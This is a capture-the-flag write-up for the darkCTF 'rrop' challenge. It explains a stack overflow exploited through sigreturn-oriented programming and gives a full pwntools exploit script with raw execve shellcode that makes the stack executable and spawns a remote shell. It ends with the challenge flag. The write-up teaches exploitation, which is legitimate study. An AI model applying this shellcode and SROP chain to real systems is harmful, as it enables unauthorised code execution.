# CHALLENGE DESCRIPTIONYou came this far using Solar Designer technique and advance technique, now you are into the gr4n173 world where you can't win just with fake rope/structure but here you should fake the signal which is turing complete.
IDA decompiled *MAIN* function:```cint __cdecl main(int argc, const char **argv, const char **envp){  char buf; // [rsp+0h] [rbp-D0h]
  nvm_init(*(_QWORD *)&argc, argv, envp);  nvm_timeout();  printf(    "Hello pwners, it's gr4n173 wired machine.\n"    "Can you change the behaviour of a process, if so then take my Buffer  @%p, from some part of my process.\n",    &buf;;  read(0, &buf, 0x1388uLL);  return 0;}```
there is an overflow as the input can exceed the buffer size.
There are also 2 other interesting function.Function *eax_rax*:```c.text:00000000004007D8 ; =============== S U B R O U T I N E =======================================.text:00000000004007D8.text:00000000004007D8 ; Attributes: bp-based frame.text:00000000004007D8.text:00000000004007D8                 public eax_rax.text:00000000004007D8 eax_rax         proc near.text:00000000004007D8 ; __unwind {.text:00000000004007D8                 push    rbp.text:00000000004007D9                 mov     rbp, rsp.text:00000000004007DC                 mov     eax, 0Fh.text:00000000004007E1                 retn.text:00000000004007E1 eax_rax         endp ; sp-analysis failed```
Which is basically a gadget to set rax to 15 (0xF).Function *useful_function*:```c.text:00000000004007CE ; =============== S U B R O U T I N E =======================================.text:00000000004007CE.text:00000000004007CE ; Attributes: bp-based frame.text:00000000004007CE.text:00000000004007CE                 public useful_function.text:00000000004007CE useful_function proc near.text:00000000004007CE ; __unwind {.text:00000000004007CE                 push    rbp.text:00000000004007CF                 mov     rbp, rsp.text:00000000004007D2                 syscall                 ; LINUX -.text:00000000004007D4                 retn```Which is basically a syscall gadget.
So at this point we have all the ingredients:- Description talk about signal --> Sigreturn-oriented programming (aka SROP)- Buffer overflow- Buffer start address --> one stack address to use mprotect and also the address of the buffer in which we will place shellcode- gadget to set rax to 15 which is SIGRETURN SYSCALL NUMBER- gadget to execute a SYSCALL
So the idea is:- trigger the overflow injecting a shellcode to open a shell, and a signal frame to SROP- read the buffer leaked- execute a SROP invoking the mprotect passing the buffer address ALIGNED to pages (12 least bit must be set to 0), permission rwx (number 7), return addresss = buffer. infact from man page of mprotect:       ERROR: ...  EINVAL The addr argument is not a multiple of the page size as returned by sysconf().- Mprotect will set the permission of the stack as RWX- After the execution Mprotect will jump to the return address (which we use buffer address since our shellcode is placed there)- the shellcode will be executed opening a shell### EXPLOIT```pythonfrom pwn import *
context.clear(arch="amd64")c = remote('rrop.darkarmy.xyz', 7001)#c = process("./rrop")pad = 216
# ENTRIESsyscall_ret = 0x00000000004007D2mov_rax_15_ret = 0x00000000004007DC
# LEAKc.recvuntil("@0x")leak = int(c.recvuntil(",")[:-1], 16)print ("Buff @ " + hex(leak))
#pause() # STOP TO ATTACH GDBshellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' # x86_64 EXECVE SHELLCODE
# EXPLOITpayload = shellcode # PLACING SHELLCODE IN BEGINNING OF BUFFpayload = payload.ljust(pad, b'A') # FILLING STACK TO SAVED RIPpayload += p64(mov_rax_15_ret) # SET RAX TO SIGRETURN SYSCALL NUMBERpayload += p64(syscall_ret) # CALL SIGRETURN# BUILD FAKE FRAMEframe = SigreturnFrame(kernel="amd64") # CREATING A SIGRETURN FRAME#frame = SigreturnFrame() frame.rax = 10 # SET RAX TO MPROTECT SYSCALL NUMBERframe.rdi = leak&~(0xfff) # SET RDI TO BUFF ADDRESSframe.rsi = 2000 # SET RSI TO SIZEframe.rdx = 7 # SET RDX => RWX PERMISSIONframe.rsp = leak + len(payload) + 248 # WHERE 248 IS SIZE OF FAKE FRAME, CAUSE WE STILL NEED TO CONTROL RIP AFTER!frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS# PLACE FAKE FRAME IN STACKpayload += bytes(frame)payload += p64(leak) # RETURN2SHELLCODE
# SENDINGc.sendline(payload)
c.interactive()```
# FLAG`darkCTF{f1n4lly_y0u_f4k3_s1gn4l_fr4m3_4nd_w0n_gr4n173_w1r3d_m4ch1n3}`
